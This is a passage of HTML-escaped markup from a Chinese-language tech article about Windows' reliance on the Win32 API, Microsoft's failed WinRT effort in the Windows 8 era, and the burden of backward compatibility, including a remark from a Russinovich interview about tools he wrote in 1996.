&amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;从企业办公软件，到工业系统，再到各种第三方桌面程序，大量应用都深度依赖 Win32 的接口逻辑。几十年来，围绕它形成的开发工具、组件库、驱动体系以及软件兼容性机制，已经演化成一个庞大的生态网络&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;这也是 Windows 与很多现代系统最大的不同之一。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;在移动互联网时代，很多平台可以通过“断代升级”来强制开发者迁移&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;——&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;但 Windows 不行。因为&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;它&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;面对的不是几百万 App，而是几十年积累下来的海量历史软件资产&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;尤其是企业市场&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;包括&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;银行、政府、工厂、医院、航空、能源等行业，至今仍运行着大量依赖 Win32 的传统软件&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;很多系统甚至已经稳定运行十几年乃至几十年。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;对于微软而言&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;，“兼容性”本身就是 Windows 最核心的产品价值之一&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;，同时&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;也是它最大的负担。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;section style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot; nodeleaf=&quot;&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163709_51260.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;0.11428571428571428&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;700&quot; type=&quot;block&quot; data-imgfileid=&quot;100252190&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;9&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163709_51260.png&quot; _width=&quot;677px&quot; style=&quot;height: auto !important; visibility: visible !important; width: 661px !important;&quot; alt=&quot;图片&quot; data-before-load-time=&quot;1778661374400&quot; data-report-img-idx=&quot;6&quot; data-fail=&quot;0&quot;/&gt;&lt;/section&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;其实&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;微软&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;也&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;尝试过“推翻重来”&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;事实上&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;，&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;微软并不是没有&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;尝试摆脱 Win32&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;最典型的一次就是 Windows 8 时代推出的 &lt;span class=&quot;&quot; link-id=&quot;link-1778639009153-0.6140683985973123&quot;&gt;WinRT&lt;/span&gt;。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;当时&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;微软希望借助 WinRT 重构 Windows API 体系，建立一个更加现代化、更加统一的新平台。那几年&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;微软的思路非常激进：Metro UI&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;、&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;UWP&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;、&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;Windows Store&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;、&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;ARM 化&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;、&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;触控优先&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;……&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;整个战略都在试图“重新定义 Windows”。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;但结果大家也都知道了&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;——&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;WinRT 最终并没有替代 Win32。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;原因非常复杂，但核心问题主要有几个&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;首先是兼容性&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;大量传统桌面软件无法直接迁移，新 API 的能力又不够完整&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;；&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;其次是开发者生态&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;很多开发者发现，迁移成本远高于收益&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;；&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;再加上 Windows 8 本身市场反馈&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;就&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;不佳，最终导致微软不得不重新调整方向。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;于是，一个非常有意思的局面出现了：WinRT 没能“杀死”&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;white-space: pre-wrap; font-size: 11pt; letter-spacing: 0pt; vertical-align: baseline;&quot; data-font-family=&quot;default&quot;&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;Win32，反而自己变成了 Windows 生态中的另一个&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;分支。后来微软又陆续推出&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;white-space: pre-wrap; font-size: 11pt; letter-spacing: 0pt; vertical-align: baseline;&quot; data-font-family=&quot;default&quot;&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;UWP&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;、&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;WinUI&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;、&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;Windows App SDK&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;，&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;但直到今天，Win32 依然是 Windows 桌面生态最核心的基础。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;section style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot; nodeleaf=&quot;&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163709_59544.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;0.11428571428571428&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;700&quot; type=&quot;block&quot; data-imgfileid=&quot;100252189&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;10&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163709_59544.png&quot; _width=&quot;677px&quot; style=&quot;height: auto !important; visibility: visible !important; width: 661px !important;&quot; alt=&quot;图片&quot; data-before-load-time=&quot;1778661374614&quot; data-report-img-idx=&quot;7&quot; data-fail=&quot;0&quot;/&gt;&lt;/section&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;1996 年写的工具，2026 年反而更重要了&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;从工程角度来看，Windows 其实是全球最复杂的软件系统之一。它不仅仅是一个操作系统，更是一个横跨数十年的兼容性平台。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span class=&quot;wx_text_underline&quot;&gt;很多开发者容易低估“向后兼容”的难度。&lt;/span&gt;举个简单例子：某个 2003 年写的企业软件，如果今天还能在 Windows 11 上正常运行，背后意味着微软可能保留了大量旧接口、旧行为，甚至包括一些历史 Bug 的兼容逻辑&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;——&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;因为很多老软件，本身就是“依赖 Bug 运行”的。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;而&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;“&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;能运行旧软件&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;”&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;这件事，本身&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;就&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;极其困难&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，这也是&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;Windows&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;white-space: pre-wrap; font-size: 11pt; letter-spacing: 0pt; vertical-align: baseline;&quot; data-font-family=&quot;default&quot;&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;最&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;重要&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;的功能&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;之一。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;在&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;采访最后，Russinovich&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;还&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;提到&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;了&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;一个“小彩蛋”：他&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;在 1996 年编写的一些工具，比如&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;white-space: pre-wrap; font-size: 11pt; letter-spacing: 0pt; vertical-align: baseline;&quot; data-font-family=&quot;default&quot;&gt;&lt;/span&gt;&lt;span 